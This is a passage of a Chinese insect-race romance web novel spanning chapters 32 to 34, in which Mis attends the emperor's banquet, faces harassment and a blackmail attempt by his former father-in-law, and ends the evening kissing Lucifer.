弥斯从他手臂下面钻出去,“我可什么都没做!” 见雄虫脸上除了羞涩和震惊,没有出现厌恶的情绪,路西法也松了一口气。 “唉,我知道,小弥斯不愿意负责就算了,我都理解。” 好大一口锅,可确实说得也是事实。 弥斯的心情略微有些沉重,他确实又贪恋雌虫对他的好,又一直没有回应。 “亏我还给某只负心虫高价收了一个他昨天念叨的光盘,真是自古无情伤有情,唉。” 弥斯有些狐疑地凑过来,“路西法,后面是你编的吧?” 他怎么不知道雌虫什么时候这么伤春悲月了,路西法的新虫设吗,他知不知道这个虫设和他不搭。 虽说被嘲笑了,但雄虫最在意的不是那只主角虫,还是让路西法很开心的。 “你真买了,我以为你不会买的。” 雌虫的心眼也就比绿豆大一点,真没想到还能塞下一张光盘,真是长大了。 路西法不情不愿地说:“嗯。” “放哪了?”弥斯还有点小期待。 开心取消,雄虫就是被那只虫迷昏了头,路西法阴着一张臭脸,从柜子里拿出一个方方正正的盒子。 路西法正想再说点那只主角虫的坏话,可看着雄虫开心的样子,最终还是没说。 弥斯看到实物,兴奋地说:“路西法,你真是一只好虫。” 嘀,好虫卡! 路西法打心底里讨厌这句话。 “弥斯要是觉得我对你好,可以选择报答我的。” 雌虫点了点脸颊,意有所指。 “允许你回家时坐飞行器了。” 弥斯才不管他说什么,叽里呱啦的,没一句他爱听的。 …… 虫皇的晚宴确实很不一般,光是迎宾用得皇家护卫队,都要有数千只。晚宴是在帝星最大的皇家宴客厅举办的,大大小小的虫从星海中穿梭而来齐聚一堂,真是壮观。 相比之下,弥斯以前参加的宴会简直是不值一提。但是太大了也不好,他光是走进来就已经快要累死了,十分怀疑这是虫皇做的服从性测试。 “累了?” 路西法一直保持着雄虫身侧后半步的位置,见他步伐越来越慢,不由得有些担心。 “嗯,好远啊。” 弥斯现在已经完全学会表达自己的情绪了,累了就是累了,哪怕是虫皇的晚宴也累。 “过来,我抱你。” 弥斯一听,简直是天籁之音,他一点儿也不矜持地停下脚步,钻进雌虫怀里。 这一路上,好多雄虫都是这样干的,三虫成行,被抱着的虫多了,抱着走也不失为一个好选择。 看样子真累坏了,不然肯定羞着一张脸说他耍流氓,路西法把虫抱在怀里,平稳地朝着主场飞行,速度比他们走路可快了不少。 这次的晚宴有十三个不同的会场,不管是S级的等级,还是他未来雄主的身份,弥斯都可以出现在主场。 雌虫飞起来就是快。 本来弥斯觉得沿途的风景不错,看得饶有兴致,坚持了没一会,脸就被冻得生红,忍了两秒,然后认命般地将脸埋进密不透风的胸膛。 他可不是占便宜,纯碎是脸皮薄,物理意义上的。 等路西法飞到了主会场把虫放下来的时候,雄虫的脸已经通红,就是不知道是羞得还是闷得。 “弥斯,光天化日之下,你又毁了我的清白。” 诺大一只红色脑袋凑到他耳朵旁边,雌虫的头发倒是和他本虫形象完全不符,柔顺光滑,落在弥斯脸上也不会觉得刺挠。 “知道了,知道了,你大虫有大量,吃点亏算了。” 弥斯懒得在虫来虫往的地方和他掰扯,他吃点口头上的亏就算了,省得这虫做出什么出格的动作。 “不和你闹了,我要去虫皇那里,你自己一只虫可以吗?” 路西法毕竟是皇子,虫皇过生日,他肯定还是有不少事情的。 弥斯表示理解,摆摆手,一脸傲娇。 “我都说了,你不要总把我看成没断奶的虫崽子,再说了,不就是一个宴会吗,我也来过很多次了。” 路西法还是不放心,“我陪你再逛逛吧,等亚蒂斯巡逻完,我让他陪着你,到时候我再走。” 到底虫多眼杂的,先不说安不安全,把雄虫放在虫堆里,宴会结束之后,雄虫身边还有他的位置吗。 “你快去吧,虫皇怪罪下来,可别连累我。” 路西法没动,越是这种看起来十分安全的时候,越是容易出问题,本来的十分担心现在甚至到了十二分。 弥斯没想到雌虫这么犟,没办法,只能让他跟着。 这宴会的虫他大多都不认识,四处瞅瞅,每只虫的衣服都价值不菲,幸好他的衣服是雌虫准备的,不然丢虫不说,万一虫皇误会,怪罪下来,那可就麻烦了。 帝国的虫皇可比封建王朝的皇帝还要封建,更何况虫族这整个族群本身就冷酷无情,所以虫皇行事十分狠辣。 当然,这些和弥斯没有太大的关系,他只要过好自己的小日子就已经很快乐了。 这里的点心看起来十分精致,弥斯捏了一块塞进嘴里,甜而不腻,真好吃。 他又捏了一块,偷偷地拽了一下雌虫的衣袖,把点心递过去,“很好吃。” 路西法十分配合的低下头咬住,顺便咬了一下雄虫白嫩的手指,“确实挺甜的。” 流氓! 弥斯现在不敢掐他,怕把他礼服弄皱,只能憋屈地说:“松口!” 雄虫的声音很小,虫多眼杂的那么乱,听不清也很正常,路西法假装没听到,自顾自地品尝了一会儿。 厚颜无耻,糊他一手口水,他再也不会管雌虫了。 弥斯把雌虫兜里锦帕掏出来,狠狠擦了擦手,然后挑衅地叠好又塞进路西法口袋里。 恶心死他,哼! 弥斯一脸报复到雌虫的得意,看得身旁那虫都有些荡漾了,如果沾得是雄虫的口水该有多好啊,可惜了。 弥斯真就是嘴硬,这么多虫,每只虫都看起来十分危险,他从进门起,就一直拽着雌虫。 “路西法!你怎么还在这!” 骄纵又熟悉的声音响起来,弥斯有些惊喜地看过去,是桑因还有蒂安他们。 \第32章 第 32 章 路西法会是他的雌虫 “雄父的宴会你也敢在外面转, 不怕被降罪吗?” 桑因凶狠地扫了一眼臭雌虫,然后秒切惊喜脸,“弥斯,你真来了, 我还以为你不喜欢这么热闹的场合呢。” “嗯, 我也来了呢。” 如果是别的虫可能会觉得桑因是在阴阳怪气, 毕竟这可是虫皇的晚宴,谁敢不出席。 可弥斯知道, 桑因只不过是对他的地位有误解, 觉得自己和他一样自由,就像哪怕他没说什么漂亮话, 也不担心桑因会误会他敷衍一样。 “路西法, 你胆子太大了, 脑子被异兽吃了吗?” 面对雌虫, 桑因的态度就没那么温和了, 尤其是现下正是他夺权的关键时期, 要是路西法出了岔子, 会给他带来麻烦的。 弥斯看到桑因旁边的虫拽了一下他的衣角,然后桑因看起来就乖巧了许多。 “好吧,勉为其难地让你和我一起去见雄父吧,哼, 要是虫皇问罪, 可别怪我不帮你说话。” 这就是会帮路西法说话的意思, 弥斯在脑子里把桑因的话翻译了一下, 放心了不少,他很怕耽搁了路西法的正事,有桑因在就没问题了。 “弥斯, 一会儿见。” 桑因把雄虫拽进怀里,吧唧亲了一口,香喷喷的,果然,还是弥斯这样可爱的雄虫看起来才赏心悦目。 弥斯被吓了一跳,倒不是因为桑因,而是他身旁的那只虫,眼神像吃虫一样,好像被他抢了星币一样,真吓虫。 路西法看出了雄虫的紧张,十分不满,“莱昂纳元帅!管好自己的眼睛。” 他也对桑因的亲吻十分不爽,他都还没亲到呢,但莱昂纳的眼神更让他在意,这只虫有多小心眼他是知道的。 弥斯也拽了一下他的雌虫,多大点事,他们两只虫至于吗。 “路西法,你赶紧过去吧。” 有艾瑞斯这只大法官在,雄虫的安全肯定是没问题的,路西法稍微放心了。 桑因和那只虫还有路西法都离开了,只剩下蒂安、艾瑞斯还有他。 他们三只虫里面,也就蒂安活泼一点,有时候甚至让虫招架不住。 “小弥斯,好久不见啊,你怎么都不出门,帝星还是有很多好玩的,还是说路西法殿下和元帅一样,都善妒。” 都?善妒?八卦? 弥斯稍微来了点兴趣,正准备细细问问,前方就传来一阵骚动,一波虫来势汹汹,原来是蒂安的合作虫。 蒂安和他们打了个招呼就离开了。 只剩下他和艾瑞斯,两只虫都不爱说话,相顾无言,但也不觉得尴尬。 弥斯在认真品尝甜点,偶尔会挑出一个放在旁边的盘子里,顺便递给艾瑞斯一个。 又过了一会儿,艾瑞斯也去忙碌了,只剩下他自己,没关系,路西法应该很快就回来了,到时候可以把盘子里的甜点给他尝尝。 自雄虫踏进主会场开始,周边的豺狼虎豹就一直盯着,等他周边的贵族虫走后,气氛瞬间就变得躁动了。 这只S级的高等级雄虫和别的虫都不一样,没背景、雌君之位空悬,不管成为谁的雄主,都能给家族带来不小的助力。 更别提雄虫又生得如此可爱,哪怕不是为着他等级带来的利益也是非常抢手的。 但到底是S级冕下,周围的虫也不敢贸然上前,这可是虫皇的宴会,万一闹出了事情,整个家族都会被牵连。 可,陌生虫不敢上前,并不意味一些和冕下有一面或者一饭之缘的虫不敢上前。 “冕下,不知是否有幸可以一起喝一杯呢,最近新得了一颗C159矿星,感觉和冕下有缘呢。” “冕下,听说你和索伦少将离婚了,恭喜,他那样的虫怎么配得上您呢,我的条件您是知道的,等你哦。” 雄虫太冷淡了,面上看不出任何表情,这些虫自找没趣之后,也只能默默散去。 他们这些虫都是这些年弥斯陆陆续续陪着索伦少将去见过的雌虫。 弥斯也是这时才意识到,原来已经有这么多只虫吗。 真是恶心,不管是这些雌虫,还是他自己,都恶心。 他想攥点东西的,可现下他一无所有。 群狼环伺,弥斯甚至不敢用指甲掐一下掌心,万一破了皮、流了血,逸散出来的信息素肯定会惹出麻烦,要是路西法在就好了。 这个念头毫无征兆地冒出来,弥斯一时有些心慌,原来不知不觉中,路西法已经对他这么重要了。 这些贪婪的、充满算计的、色 .情的视线一点点扒光了他的体面,好像他是一件待价而沽的物品,只待有虫能开出合适的价格就能占有。 好恶心,他明明身着华丽的礼服坐在这里,但在这些虫眼里,他却如同赤裸一般。 这些弥斯都可以忍耐,再等等,等路西法回来,亦或者蒂安他们忙完,都可以,随便一只虫,就能让这些虫不敢靠近。 再等等…… 直到,一只气质阴沉、长相妖异的军雌朝着他走过来,弥斯的脸上瞬间失去了血色。 鲁里希的菲里安中将。 “冕下,日安。” 菲里安不同于别的虫,他真心喜爱这只脆弱的、没有依靠的雄虫,每次遇到他就会像逗弄一只被豢养在金丝笼里的麻雀,太有意思了。 弥斯没有说话,他竭力抑制住全身的颤抖,这只虫一度成为他的噩梦来源。 “冕下看起来不是很喜欢我呢,真是伤心。” “真是怀念和冕下的第一次见面,那真是我们为数不多的幸福时刻。” 菲里安悠闲地走过来,脸上还挂着虚假的微笑,礼数上看不出任何问题,哪怕是雄保会的调查员在也看不出任何不对。 除了被一步步逼近的弥斯,他对这只虫简直深恶痛绝。 “冕下的反应还真是令虫伤心呢,好歹我们也曾春风一度,难得见面怎么对我这般冷淡。” 真是令他作呕,弥斯恨不得剁了那条救虫的尾勾,他在救虫的时候从未想过什么回报,可他亦没想到会被诽谤,没有虫能在面对这样忘恩负义的虫时保持平静。 菲里安坐在了雄虫旁边,他就像一坨下水道里的淤泥,一旦被沾上,恶臭就再也挥之不去。 雌虫的声音再度响起,“冕下,我果然还是喜欢你那日紧张我的模样。” “索伦那只废物,确实配不上你,但我不一样,冕下为何不愿意考虑我呢,不管是星币还是军衔,亦或者家族势力,我都更胜一筹,不是吗?” 弥斯猛地站起身,他要离得远远的才行,太恶心了。 他找到一处洗手间,打开水龙头,冲刷着尾勾,好脏,太脏了,这样怎么洗得干净呢。 他伸出手死死搓着尾勾的尖尖,直到痛楚无法被忍受,直到尾尖发红,他才松开它。 弥斯吐了,把刚刚吃进去的甜点全部吐了出来,直到已经没有什么东西可以吐了。 太恶心了,不管是那只虫,还是他,都恶心。 明明都已经忘记,明明都已经忘记了,为什么一直在逼他,他到底做错了什么。 卫生间刺眼的灯光就像是那天的烈日,烫得他无处可逃。 那只虫伪装的并不算完美,只不过他太蠢了,没有第一时间看穿他恶劣的本质。 那天阳光很大,索伦少将带着他去餐厅吃饭,走进去没过一会儿,走廊里就传出来一阵骚乱。 也不知道是怎么回事,平日里傲慢不喜欢管闲事的少将突然对外面发生的事情产生了好奇。 弥斯虽然不理解,但也跟着出去了。 一只雄虫正在鞭笞一只军雌,鲜血淋淋的,看起来十分凄惨,这样的事情屡见不鲜。 弥斯从来不多管闲事,没必要。 帝国确实存在很多雄虫,他本身不喜欢军雌,却出于对星币、军衔亦或者权力的渴望,会接纳军雌成为雌侍亦或者雌奴,而军雌从雄虫那里获取信息素生存下去。 这一切都无关乎情爱,只是利益交换,弥斯不会去评判虫族的生存法则。 “对不起,对不起……”那只军雌重复着这句,言语中没有任何的情绪起伏,听起来已经麻木了。 “贱虫,你怎么敢撞到我,真该死,你去死吧!异兽养大的玩意,怎么敢撞我的……” 雄虫态度倨傲,骂得也十分难听。 所有虫都知道这只是一件非常小的事情,可雄虫追究了,哪怕是中将好像也只能任由他鞭笞。 鲜血之下,军雌被鲜血浸染的肩膀上赫然是一枚中将的军衔,这只雌虫竟然是一只中将。 弥斯不想管得,生活早已磨灭了他为数不多的善心。 可是, 这只军雌和雄虫没有任何关系,只是一个小的不能再小的摩擦,因为这么小的事情就去侮辱一只为了帝国抛头颅洒热血的军雌。 弥斯觉得有些悲哀。 他不作他想,出言制止了这场单方面的凌虐,他的等级很高,那只雄虫不过B级,自然不敢再闹。 本来事情到这里就结束了,没想到这只中将的精神海竟然如此糟糕。 雄虫的鞭笞就是压垮骆驼的最后一根稻草,弥斯根本没有时间想太多,雌虫已经半虫化了,尾勾比他的脑子还快,扎进了雌虫的心口。 只是令他没想到的是,这只雌虫竟然是鲁里希的中将,也是索伦少将带他来见的雌虫。 弥斯觉得自己实在好笑,他在蓝星上的养成的三观,到了这个世界,却成了他的弱点。 弥斯在此之前,从未觉得自己蠢,只是在那一刻,他确实觉得自己有些可笑。 明明已经来到了赫克斯,他却固步自封,中了这么低级的算计。 一只S级的贵族中将被一只B级雄虫刁难,多么拙劣的算计,他怎么会信了呢。 太蠢了,真的,到底还要上多少当,他才能学会虫族的冷眼旁观。 他们想看什么呢? 一只垃圾星的雄虫会不会愚蠢地伸出援助之手,会不会顶着雌虫半虫化的骨针、忍着痛楚去救一只演技拙劣的军雌吗? 真是恶心。 他们把他当作什么,古罗马斗兽场里的野兽吗? 恶心,这些虫都令他恶心。 弥斯不知道,也不敢知道索伦少将到底知不知道这个算计,他不能想,也不敢想。 回到家之后,索伦少将就那样跪在地上,看起来多么无助、多么无辜,自责、内疚,弥斯已经看不清了,只知道那只雌虫在恳求他的原谅。 弥斯不知道该怎么形容那时的心情,总之是十分复杂的,他也不愿意再想起。 他有些乐观地想,或许少将真的不知道,这一切都是巴尔福的算计,毕竟那只雄虫向来能为了利益做出任何事情。 弥斯原谅了,他不怪任何虫,是他太蠢了,总觉得得过且过,差不多就行了。 没想到有虫会得寸进尺,也没想到有虫竟然那么无聊。 可弥斯能怪谁呢,他一无所有。 但是,他不愿意再这样了,弥斯不想这样耗下去了,也不想报恩了,他想结束这个荒诞的婚姻。 和雌君离婚不是一件简单的事情,巴尔福不会同意的,他也拿不出任何可以佐证雌君违反了《侍奉雄主守则》的证据。 一切都是他自愿的,一切都是他应得的。 路西法就是那时出现的,然后就倒霉的被他盯上了。 多么讽刺啊,虫族唯一一只真心待他的虫反而成为了他达成目的的工具。 弥斯本来打算用完就扔的,可…… 胃里吐干净了,他擦了擦嘴,真狼狈啊。 对着镜子,弥斯稍微整理了一下有些褶皱的衣服,打量了一番,没有破绽,真好。 弥斯已经给过路西法很多次逃离的机会了,可雌虫一次次的凑上来,那么,真倒霉啊,路西法,他不会再放手的。 路西法会是他的雌虫,也只能是他的雌虫。 该出去了,不然,某只虫该等急了,就是不知道这只虫又会给他带来什么样的“惊喜”了。 \第33章 第 33 章 危机!巴尔福的威胁…… 弥斯冷着脸, 从洗手间里走出来,一只雄虫已经等待多时了。 宗斯亚,巴尔福的雄子,罗斯蒂亚为数不多的老实虫。 “弥斯, 主虫请你过去。” 弥斯没有拒绝, 他知道巴尔福要是派虫过来, 肯定是宗斯亚。 毕竟宗斯亚是罗斯蒂亚唯一一只在他受伤时送上治疗液的虫。 无论是和巴尔福待在一起或者独自待在外面,对现在孤立无援的弥斯来说, 早就没有区别。 “弥斯, 日安。” 巴尔福的形象和他精于算计的性格完全不同,略微发白的头发和温润如玉的长相, 让他看起来比起一只商虫, 更像是年龄稍长的智者。 “日安。” 弥斯非常讨厌这种虚假的论调, 但有时候生活也就是如此, 逼得每只虫都带上了温良的面具。 “好久不见, 弥斯, 近来可安好。” 巴尔福习惯了雄虫的冷漠, 继续说道:“索伦那只废物失了你的喜爱,是他没用,弥斯不必放在心上。” 巴尔福坐在位置上,大手一挥, 示意他看向周围。 “雌虫这种东西, 罗斯蒂亚多得是, 瞧瞧有没有喜欢的。要是喜欢, 就收下做个雌奴。” “你这么小的虫崽,身边怎么能没有虫照顾呢,雄父实在是不放心啊。” 巴尔福惯是会装的, 哪怕他前一刻害了你,也不影响下一刻,他带着伪善的假面来关心你。 弥斯和巴尔福对视的时候,就知道这只虫会来找他,但他有些困惑,现在的他到底还有什么值得这只精明虫在意的。 巴尔福不会不会知道,他不可能再和罗斯蒂亚有任何牵扯。 “我拒绝。” 巴尔福笑了笑,“也对,弥斯向来不喜欢虫子多,现在有了路西法殿下,看不上他们也正常,是我唐突了。” “这才多久没见,雄父看你这气质还有身上穿的礼服,总算是有了几分贵族的风范。” “雄父以前总是嘱咐你出门在外要保持贵族的风范,可你总是不在意,不说这些了。” “时间过得真快啊,总觉得前几天你才刚从垃圾星来到帝星,瘦骨嶙峋的,可把雄父心疼坏了。” “雄父年纪大了,平日里耳边总会听到你甜甜地喊着雄父的声音,哎,你也是的,怎么不多去看看雄父。时间不等虫啊,转眼竟然都已经三年了。” 弥斯无语,他也就喊过几次,也不知道这只虫哪来的脸一直雄父、雄父的。 “那时,你连虫民证都没有,雄父总怕帝国找你麻烦,花了好大的功夫才帮你登记。” 弥斯看着巴尔福虚伪的模样,又是这个做派,真是令虫作呕。 他刚下战舰就在雄保会的陪同下做了等级鉴定,虽未觉醒,但也已经是A级雄虫了,办个虫民证,有什么麻烦,但当时的他真的信了。 毕竟在蓝星上,一个黑户想上户口可以说是难如登天。 “当时我确实心怀感激。” 弥斯不懂巴尔福为何要欺骗他,哪怕不去刻意编造虫民证获取不易,他也会心怀感激。 初来乍到,正是他最脆弱的时候,有虫雪中送炭,即便居心不良,他也会知恩图报。 反而,欺骗会破坏这份感恩和信任。 “弥斯,我毕竟做了你三年的雄父,很多话我不得不说,你一只雄虫为何非要在实验室耽误虫生呢?” “权力、星币,这些更加美好的东西才是我们高等级雄虫应该追求的,你看,‘圣嗣’这个项目,你也做不出什么成绩。” 怎么可能,他们项目进展的十分顺利,弥斯刚想反驳,可抬头看见巴尔福傲慢的神情,心中隐隐觉得不妙。 “罗斯蒂亚的虫太多了,我也是最近才知道墨涅斯这只旁系,你看看,不是一家虫,不进一家门,都是缘分。” 怪不得最近他的活轻松了不少,弥斯还以为是因为繁琐的实验是拉索比较擅长的,所以研究所的其他虫才能闲下来,没想到…… 不是墨涅斯良心发现,而是他良心被狗吃了。 果然,不管在哪个世界,在最终成果上删掉他这种打工虫的名字都是简单的不能再简单的事情。 “这就是你今天来找我的原因吗?” “威胁我?” “要墨涅斯这种虫听话,想必巴尔福阁下在这个项目上投了不少星币吧。” 墨涅斯那只虫确实还挺符合罗斯蒂亚的行事作风,只要给星币,什么都好说。 以前就能为了投资把弥斯的事情偷偷汇报给路西法,现在划去他的名字,他甚至不会觉得震惊。 “就是不知道,假如我先墨涅斯一步把项目做完,这结果到底是‘圣嗣’不会出现我的名字,还是巴尔福阁下投入的星币覆水难收,损失惨重呢?” 巴尔福不动声色,“如果弥斯能有如此大的本事,雄父也是很欣慰的。” 弥斯没有过多解释。 他知道巴尔福向来是鼻孔看虫,自从他选择进入军事学院,在巴尔福的心中,他和蠢货就是同义词了。 所以,巴尔福自然不会觉得一只垃圾星来的雄虫可以做出什么成绩。 哪怕他是S级,哪怕“圣嗣1.0”的项目上已经出现了他的成果,在巴尔福看来,八成也是研究所的照顾。 弥斯冷脸呛道:“雄父?真是可笑,需要我提醒你吗?巴尔福阁下。” “我已经和罗斯蒂亚没有关系了,巴尔福阁下还是自重。” “与其在这里和我浪费时间,不如好好想想怎么缓和索伦少将和他的好雌弟之间的关系吧。” “罗斯蒂亚最近在星网上也是名声大噪,兄弟相残的戏码实在是精彩。” 巴尔福根本没把这个小事放在心上,虽然索伦算是他比较宠爱的雌子了,但毕竟是雌虫,没什么用处。 罗斯蒂亚家族势力庞大,虫子众多,他根本不可能在意这些小事,更何况,多斗斗也好。 索伦那只雌子就是太愚蠢了,要是能借着这场争斗长长脑子,对罗斯蒂亚也是一件好事。 “都是一些上不得台面的雌虫而已,不用在意。” 弥斯就不该对这种雄虫抱有期待,太冷血了。 “巴尔福阁下还真是一点儿都没变,我就不叨扰了,再见。” 巴尔福既然把虫喊来了,自然不是为了聊这些家长里短的事情。 “弥斯这就急着走吗?雄父可还有很多贴心话想和你说呢,尤其是,你和索伦三年没有生出蛋的事情。” 弥斯停下脚步,他一直不敢去医院查,没有虫能接受自己不行。 哪怕他再通透,再不在意虫蛋,也不想真的不行。 “唉,雄父担心你,但是总不好让你一只雄虫去医院查这方面,正巧,索伦前段时间出了事。” “你知道他的,平日里实在是忙,这好不容易有时间歇一歇,雄父就让他顺便查了查。” “结果……” 巴尔福一副顾及他的尊严,不好直说,装模作样的叹了一口气。 “弥斯,雄父担心你啊,你说要是路西法殿下知道这种事,想必……也说不准,可能还真有雌虫完全不在意这种事吧。” 弥斯转过身,看着他得意的脸庞,心中冷笑,“巴尔福阁下如果想说些什么,不妨直说,拐弯抹角的,可不是你的风格。” 巴尔福一脸失望,“没想到在弥斯心中,雄父竟然是这种虫吗?” 他的脸上连一丝波动都没有,从一开始,他就不在意这份莫须有的亲情。 巴尔福察觉到雄虫的在意,知道他这一步是走对了。果然,弥斯这只蠢虫就是在意这些情情爱爱的事情。 以前对索伦是这样,现在对路西法殿下也是这样,愚蠢。 “雄父也没什么别的要求,可前段日子鲁里希送给雄父的矿星挂在了你的名下,你现在和索伦闹成这样,实在是令雄父寝食难安啊。” 原来是为了矿星,可是,鲁里希的矿星不是只给了开发权吗,怎么又挂在他的名下,真是奇怪。 但管矿星怎么到他名下的,弥斯可不想让巴尔福这么顺心。 “巴尔福阁下不是刚刚教导我,权力和星币才是我应该看重的吗?那颗A级矿星我就笑纳了。” 巴尔福这下真的生气了,“你不怕被路西法殿下知道吗,他毕竟是皇子,哪怕你是S级,如果不能生蛋,他未必会像现在这般宠着你。” “如果能和路西法殿下结婚,你能得到的矿星可不止如此,你确定要冒这个风险吗?” 只要不蠢,都知道怎么选,弥斯这只虫平日里最重感情。 不管是出于感情还是利益,现在得罪他都不是上上之选,巴尔福真想扒开他的脑子看看在想些什么。 弥斯一脸不解,“只要你不说,路西法殿下又怎么会知道呢?” “你把矿星送给雄父,路西法殿下自然就不会知道。” “这样吗,可惜我见识短浅,还是到手的A级矿星更让我在意。” “多谢你的馈赠,巴尔福阁下,这次真的要再见了。” 弥斯的心情说不上好,毕竟他很有可能不行,但也说不上差,毕竟这可是一颗A级矿星。 “哦,对了。” 他突然转身,看到巴尔福气愤中又带着点期待的眼神,心情好了不少。 “我本来还以为巴尔福阁下是在找我的不痛快,没想到是为了帮我解围,毕竟菲里安中将实在是有些麻烦。” “甚至还告诉了我一个好消息,真是误会你了,抱歉。” 弥斯这下头也不回地离开了。 回到刚刚的位置,已经有虫坐在那里了,桌子上他挑出来的那盘甜点也被侍虫收走了。 有些时候就是这样,一旦离席,位置和东西都不会再属于你。 好在,弥斯看到了达利锡,菲里安也不知去向,至少接下来的晚宴不会再发生什么意外,对他来说也算是这场晚宴难得的好消息了。 虫皇出来了,身后跟着桑因还有几只弥斯不认识的雄虫殿下。 不愧是虫族的皇,哪怕已经250多岁,看起来依旧龙章凤姿、器宇不凡。 弥斯对这些不感兴趣,路西法藏在虫堆里,一脸不屑、懒懒散散的跟着,和其他雌虫脸上的傲慢完全不同。 他发现路西法还没半分钟,这只虫就抓住他了,甚至十分不正经地朝他挑了挑眉。 路西法到底知不知道这是一个非常隆重的场合,简直是成何体统。 但,心中隐隐升起的欢喜,让弥斯没办法继续欺骗自己,他真的很喜欢这种被珍爱的感觉。 路西法好像一整颗心都是他。 \第34章 第 34 章 路西法,张嘴 宴会结束了。 这是弥斯和路西法一起参加的第一次宴会, 谈不上愉快,雌虫一直担心的事情也发生了。 但,他也因此认清了一些事情,挺好的。 路西法被宴会的事情拖住了, 只能在光脑上发消息给弥斯, 让雄虫等他一起回家。 等待是一件非常浪漫的事情, 至少弥斯是这么觉得。 只不过他向来倒霉,连在门口站着, 都能看到索伦少将。 更不幸的是, 索伦也看到他了。 索伦是从主虫那里听说了,雄主也来到了宴会, 他很开心, 这么多天没见, 他有些想雄主了。 可他只是一只A级的少将, 没有资格进入主会场, 所以只能一直在门口等雄主。 总算找到雄主, 他特别欣喜, 尤其是看到雄虫好像在等他,果然,弥斯根本离不开他。 索伦特意停下,等雄主发现他, 这样就不会显得他多迫切。 对视了, 发现了他了吗?怎么不说话? 好吧, 索伦觉得他作为军雌应该主动一些的, “雄主,……” 他的声音刹住了,雄虫的身后出现了一只他最不想看到的虫。 路西法从雄虫身后环了上去, 紧紧箍住了雄虫的腰身。 弥斯是被强迫了吗?毕竟是帝国的皇子殿下,他肯定很难拒绝。 索伦急忙往前走了几步。 可,雄虫像是察觉到身后虫的靠近,主动伸出手臂搂住了路西法的脖子…… 雄虫看起来没有半分的不情愿。 这才多久,他们竟然已经这么亲密了吗?亏他还以为雄主是因为主虫做得事情才冷落了他。 这几天,索伦忙得焦头烂额,他想给弥斯一个交代。 雄虫又在做什么呢?和路西法殿下浓情蜜意,弥斯怎么能这么对他,或许一开始雄虫就是为了那只虫离开他的。 索伦觉得自己被雄虫欺骗了。 他转身离开了,这样的雄虫根本不值得他低头。 …… 看到雌虫带着笑意朝他走过来,弥斯很烦,他不想和索伦再有任何的纠缠,更何况,路西法看到也会不开心的。 到时候又要呷醋,他要哄好久,还会被占便宜,很麻烦。 “我们回家吧。”是路西法的声音。 弥斯收回了视线,抬起手臂方便雌虫抱他,把脸挤进路西法饱满的胸肌里,世界安静了。 “嗯。” 路西法这时候还在开心弥斯的亲近,这份开心并没有持续多久。 回去的途中,雄虫一直都很沉默。 路西法还不知道晚宴时发生了什么,雄虫看起来蔫巴巴的。 他今晚还有一些事情,但又不想让雄虫独自消化这种情绪,最终还是决定先把雄虫哄好,不急这一时半会儿的。 “宴会上有虫欺负你吗?”他柔声询问。 弥斯摇摇头,不想解释,他轻轻拨弄了一下腰间的纽扣,这里被雌虫安装了监听器。 真好,路西法只需要回到房间就知道巴尔福威胁他的事情了。 弥斯没有任何退路,从他纵容雌虫装监控的那一刻开始,他就无法再也无法隐藏自己的一切。 他抬起头,脸上挂着和巴尔福如出一辙的笑容,完美又不达眼底。 “路西法,巴尔福说,鲁里希家族把一颗A级矿星挂在了我的名下,你知道这件事吗?” 这非常不合理,又有点小幸运,而他向来倒霉,愿意为他花心思的很显然只有一只虫。 “哦,或许是他们良心发现,总算兑现了一开始的承诺。” 至于中间怎么帮助他们良心发现,就没必要告诉雄虫了,免得他误会了自己是只多么残暴的虫。 路西法自我感觉他十分体贴。 “这样吗,那太好了。” 弥斯脸上的假笑更甚,看起来糟糕极了,他知道,路西法肯定会心疼他,这样哪怕他真的不能生蛋,雌虫也不会抛弃他。 路西法确实看得恼火,“别笑了,不难受吗?不想笑就不笑,笑成这样……” 很丑是吗?说实话,弥斯对自己假笑的模样不是十分了解。 “也很可爱,但是不要笑了。” 弥斯听到雌虫的话愣了一下,怎么完全不按常理出牌。 “那怎么办,万一我是真的想笑。” 路西法稍微思考了几秒,就确定了一件事情,雄虫绝对是在勾引他。 小猫出门在外受了委屈,又不好意思直说,只能委屈巴巴地盯着他,一副求安慰的模样,这怎么拒绝。 没有虫能拒绝。 “那你可不要怪我了。” 听到路西法的“威胁”,弥斯只觉得有意思,真是罕见,雌虫总算要在自己面前展现他的凶狠了吗? 他很期待。 路西法见雄虫不知悔改,“那我就当你同意了。” 雌虫从地上一跃而起,哦,忘记说了,刚刚为了安慰他,路西法一直蹲在地上来着。 弥斯任由雌虫抱着他上楼,虽然这个方向十分诡异,但是不知道为什么,哪怕刚刚经历了那么不好的事情,他依旧相信,路西法什么都不会做。 路西法把雄虫放在床上,弥斯应该是还没反应过来,整只虫呆呆的抬头看他,看起来简直是在等他放肆。 在亲上去之前,他还是特别忐忑的。 路西法向来有贼心没贼胆,雄虫现在还把当他最好的朋友,他不想破坏自己在弥斯心中的形象。 可…… 雄虫实在是诱虫,路西法拼尽全力无法抵抗。 一咬上那更是发狠了忘情了,他确实不太会亲,可雄虫的嘴唇香香软软的,贴上去之后就不舍得离开了。 贴一贴,舔一舔,吸一吸,咬一咬,太舒服了,路西法根本不舍得松开。 弥斯有些失望。 也不完全失望,在被雌虫吃到嘴巴的时候,弥斯还是有些震惊路西法的勇气的,真稀奇。 但更加显然的是,路西法这只军雌真的没有任何经验,说吃个嘴巴就是吃嘴巴,各种意义上的吃嘴巴。 “路西法,松口。” 到底谁像小虫崽子,他的嘴巴又不是果冻,又吸又啃的,马上真要破皮了。 沉浸强吻中的路西法在听到雄虫的命令时,吓坏了,啪叽一下就跪在地上,地板都被磕得生响。 路西法有些怕雄虫会更加伤心,他本来就心情不好,现在又被他强迫,肯定会觉得最好的朋友也背叛他了。 太冲动了,他有些后悔这样做了。 路西法很清楚“最好的朋友”对弥斯的重要性。 弥斯听着响就觉得疼。 “你干什么,”他赶紧把虫从地上拽起来,“亲都亲了,现在才开始害怕?” 路西法心虚地看了看雄虫的嘴巴,被他咬破了,“对不起。” “我教你。”弥斯的声音里还有些沙哑。 他轻轻抚摸路西法的红色长发,带着凉意的指尖抬起雌虫的下颌,不等雌虫回应,温热的唇便覆了上去。 弥斯的亲吻完全不像他平日里的冷淡,犹如攻城略地的肆虐, “张嘴。” 路西法在雄虫凑过来的一瞬,脑子就空了,听到雄虫的命令,下意识地张开嘴巴。 “舌头伸出来。” 路西法乖乖照做。 弥斯卷住雌虫的舌尖,唇舌交缠,粘腻的水声在口齿间响起。 空气变得灼热…… 昏暗的灯光下,他彷佛听见了雌虫剧烈的心跳声。 一吻做毕。 弥斯轻声道:“这才是亲吻,路西法。” 